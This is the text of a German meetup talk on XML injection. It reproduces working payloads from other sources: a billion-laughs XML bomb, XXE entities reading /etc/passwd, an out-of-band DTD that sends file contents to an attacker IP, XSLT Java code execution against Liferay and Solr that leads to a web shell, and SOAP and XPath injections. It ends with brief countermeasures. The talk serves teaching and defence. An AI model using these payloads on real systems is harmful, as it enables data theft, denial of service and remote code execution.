

XML INJECTION

Meetup 17.01.2018 - Sergej Michel

WAS IST XML?

(EXTENSIBLE MARKUP LANGUAGE)

<https://raw.githubusercontent.com/ksxatom/packages/ksx-matrix/master/screenshot-xml.png>

WOFÜR WIRD XML EINGESETZT?



<https://blog.safe.com/2016/07/understanding-xml-humans-guide-machine-readable-data/>

WOFÜR WIRD XML EINGESETZT?

- Webservices, Schnittstellen
- Beschreibungssprache für Daten und Programmiersprache
- Konfigurationen, Datenspeicherformat

XML ANGRIFFSTYPEN

- DOS
- Information Disclosure
- Path Traversal
- Server Side Request Forgery
- Remote Code Execution



<http://resources.infosecinstitute.com/wp-content/uploads/xml-vulnerability-05032013.jpg>

WS ATTACKS



WS-ATTACKS.ORG

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Welcome to WS-Attacks

WS-Attacks.org is **not** a new web service standard by the OASIS Group or W3C; instead it presents the flaws of today's web service standards. It is the most comprehensive enumeration of all known web service attacks.

Okay, how do I get started? If you are familiar with the basics you can dive right into the [Attacks](#). All attacks are categorised and structured into the four categories:

- [Attack Categorisation by violated security objective](#)
- [Attack Categorisation by number of involved parties](#)
- [Attack Categorisation by attacked web service component](#)
- [Attack Categorisation by attack spreading](#)

Alternatively you can browse through the entire list of attacks (sorted by violated security objective):

Attacks primarily violating the security objective "Availability"

[BPEL Instantiation Flooding](#)

[BPEL Indirect Flooding](#)

[BPEL State Deviation](#)

- [BPEL Correlation Invalidation](#)
- [BPEL State Invalidation](#)

[Coercive Parsing](#)

[Oversized XML DOS aka Oversized XML attack](#)

- [XML Extra Long Names aka XML MegaTags aka XML Jumbo Tag Names](#)
- [XML Namespace Prefix Attack](#)
- [XML Oversized Attribute Content](#)
- [XML Oversized Attribute Count](#)

<http://www.ws-attacks.org>

XML BOMB

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

XML EXTERNAL ENTITY (XXE)

OWASP Top 10 2013	±	OWASP Top 10 2017
A1 – Injection	➔	A1:2017 – Injection
A2 – Broken Authentication and Session Management	➔	A2:2017 – Broken Authentication and Session Management
A3 – Cross-Site Scripting (XSS)	➔	A3:2013 – Sensitive Data Exposure
A4 – Insecure Direct Object References [Merged+A7]	U	A4:2017 – XML External Entity (XXE) [NEW]
A5 – Security Misconfiguration	➔	A5:2017 – Broken Access Control [Merged]
A6 – Sensitive Data Exposure	➔	A6:2017 – Security Misconfiguration
A7 – Missing Function Level Access Contr [Merged+A4]	U	A7:2017 – Cross-Site Scripting (XSS)
A8 – Cross-Site Request Forgery (CSRF)	✗	A8:2017 – Insecure Deserialization [NEW, Community]
A9 – Using Components with Known Vulnerabilities	➔	A9:2017 – Using Components with Known Vulnerabilities
A10 – Unvalidated Redirects and Forwards	✗	A10:2017 – Insufficient Logging & Monitoring [NEW, Comm.]

https://www.owasp.org/images/b/b0/OWASP_Top_10_2017_RC2_Final.pdf

XML EXTERNAL ENTITY (XXE)

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

XML EXTERNAL ENTITY (XXE)

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
```

SANS EXPLOITING XXE VULNERABILITIES

ATTACKER DTD (EVIL.DTD)

```
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % stolendata SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml">  
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://192.168.1.10:4444/?%stolendata;'>">
```

XML PAYLOAD

```
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE demo [  
  <!ELEMENT demo ANY >  
  <!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd">  
  %extentity;  
  %inception;  
  %sendit;  
]
```


XXE DEMO

<https://www.youtube.com/watch?v=3B8QhyrEXIU>

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE Header [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
```

XSLT CODE EXECUTION



<http://cdn.lamag.com/wp-content/uploads/sites/9/2017/02/iStock-183273272.jpg>

XSLT CODE EXECUTION

```
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
  <SOAP-ENV:Header>
    <SOAP-SEC:Signature
      xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
      SOAP-ENV:actor="some-URI"
      SOAP-ENV:mustUnderstand="1">
      <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
          <ds:CanonicalizationMethod
            Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026">
          </ds:CanonicalizationMethod>
          <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"/>
          <ds:Reference URI="#Body">
            <!-- ... -->
            <!-- Start malicious XSLT transform -->
```

XSLT CODE EXECUTION

Java code execution

Liferay includes numerous portlets. The "XSL Content" portlet displays the result of the XSL transformation of a XML document. The XSLT engine used by default is [Xalan-J](#) (but this can probably modified easily using [JAXP](#)). As Xalan-J allows by default to execute Java code from the stylesheet, that's an easy to exploit vulnerability. Any logged-in user can execute arbitrary Java code in the context of the Web Application server (usually Tomcat) : [CVE-2011-1571](#).

Executing commands and reading the output (using the "xalanj-reading-stdout.xml" script included on the [Xalan-J](#) page) :



The screenshot shows the Liferay portal interface. At the top is the Liferay logo with the tagline "Enterprise. Open Source. For Life." Below the logo are tabs for "Social", "Workspace", and "Email". A breadcrumb trail shows "Liferay > 7Cogs, Inc. > John Regular > Social". The main content area features two portlets. The first portlet, titled "XSL Content", displays the output of several commands executed on a Linux system: `uname -a`, `tree /sys/kernel/security`, and `grep bash /etc/passwd`. The second portlet, titled "Summary", shows the profile of "John Regular", including a profile picture, job title "Employee", and a link to "1 BLOG ENTRIES".

LIFERAY
Enterprise. Open Source. For Life.

Social Workspace Email

Liferay > 7Cogs, Inc. > John Regular > Social

XSL Content

```
Executing [uname -a] on [Linux] ...
Linux new-desktop 2.6.32-37-generic #81-Ubuntu SMP Fri Dec 2 20:35:14 UTC 2011 i686 GNU/Linux

Executing [tree /sys/kernel/security] on [Linux] ...
/sys/kernel/security
`-- apparmor
   |-- features
   |-- matching
   `-- profiles

1 directory, 3 files

Executing [grep bash /etc/passwd] on [Linux] ...
root:x:0:0:root:/root:/bin/bash
couchdb:x:120:116:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
```

Summary

John Regular




JOB TITLE Employee

ACTIVITY DETAILS

 1 BLOG ENTRIES 

http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Application_Liferay

XSLT CODE EXECUTION

EXPLOIT**DATABASE**

HomeExploitsShellcodePapersGoogle Hacking DatabaseSubmitSearch

```
246     def on_request_uri(cli, request, resource)
247         print_status("Sending the #{resource} File to the server...")
248         send_response(cli, @xsl_data)
249         @xsl_sent = true
250     end
251
252     def run_cmd_with_xsl(cmd)
253         varpayload = rand_text_alpha(10+rand(8))
254         varruntime = rand_text_alpha(10+rand(8))
255         varproc = rand_text_alpha(10+rand(8))
256         payload = "<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:jv=\"http://xml.apache.org
257 /xalan/java\" exclude-result-prefixes=\"jv\" version=\"1.0\">\n"
258         payload << " <xsl:template match=\"/\">\n"
259         payload << " <xsl:variable name=\"#{varruntime}\" select=\"jv:java.lang.Runtime.getRuntime()\"/>\n"
260         payload << " <xsl:variable name=\"osversion\" select=\"jv:java.lang.System.getProperty('os.name')\"/>\n"
261         payload << " <xsl:variable name=\"osversion\" select=\"jv:toLowerCase($osversion)\"/>\n\n"
```

<https://www.exploit-db.com/exploits/18715/>

XSLT CODE EXECUTION

Du XSLT vers un « web shell » avec Solr 3.5/4.5 !



PENTEST ET SÉCURITÉ

By KrustyHack / 3 years ago



Dernièrement j'ai lu un article vraiment intéressant sur un exploit de Solr 3.5.0/4.5.0 qui permet via l'utilisation des xsl d'exécuter des commandes sur le serveur cible. Alors évidemment, le cas que je vais vous montrer est spécifique et son utilisation dépend de la cible visée.

<https://www.nicolashug.com/pentest-et-securite/du-xslt-vers-web-shell-solr-3-54-5>

XSLT CODE EXECUTION

On attaque le serveur via l'upload d'un .xsl plus costaud

En imaginant que l'on a pu uploader un fichier .py dans notre dossier personnel (comme avant avec le .xsl), pourquoi ne pas essayer de l'exécuter ? 😊

- On upload cmd.xsl comme on a fait pour test.xsl

```
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:date="http://xml.apache.org/xalan/java/java.util.Date" xmlns:rt="http://xml.apache.org
/xalan/java/java.lang.Runtime" xmlns:str="http://xml.apache.org/xalan/java/java.lang.String"
exclude-result-prefixes="date">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:variable name="cmd"><![CDATA[/usr/bin/python /home/users/tmp/http2cmd.py]]>
  </xsl:variable>
    <xsl:variable name="rtObj" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
    <xsl:text>Processus: </xsl:text><xsl:value-of select="$process"/>
  </xsl:template>
</xsl:stylesheet>
```

- On utilise un serveur Python pour envoyer des commandes shell et on upload le .py sur le serveur cible, comme test.xsl ou cmd.xsl avec [http2cmd.py](#)
- On appelle notre url: /solr/select/?q=*:*&wt=xslt&tr=../../../../home/users/tmp/cmd.xsl
- On regarde si notre serveur python est up (moi j'ai bindé sur le port 4444):

```
http://MONHOSTCIBLE:4444
```

Et ça marche:

<https://www.nicolashug.com/pentest-et-securite/du-xslt-vers-web-shell-solr-3-54-5>

WEITERE XML INJECTIONS

https://super-evil.com?credit_card_number=123456789</credit_card_number><total>6.66</total><credit_card_number>123456789

```
<!-- excerpt modified SOAP message -->
<!-- excerpt unmodified SOAP message -->
<transaction>
  <total>4000.00</total>
  <credit_card_number>
    <!-- Attack payload line below. If attack is executed succesful, the <total> tag with i
    123456789</credit_card_number><total>6.66</total><credit_card_number>123456789
  </credit_card_number>
  <expiration>01012008</expiration>
</transaction>
```

WEITERE XML INJECTIONS - X-PATH


<https://super-evil.com?custid=123>

```
//users/custid[123]
```

<https://super-evil.com?custid=./age>0>

```
//users/custid[./age>0]
```

APPLICATION/JSON VS APPLICATION/XML



GEGENMASSNAHMEN?

- XML-Parser Ressourcen beschränken
- Kein XSLT oder Wrapper für eine Programmiersprache
- External Entity Funktion im Parser ausschalten



<https://thumbs.dreamstime.com/b/unterhaltende-person-der-gasmaske-arbeitet-mit-computer-15628197.jpg>

ZUSAMMENFASSUNG

FRAGEN?

If a dog wore pants would he wear them
like this or like this?

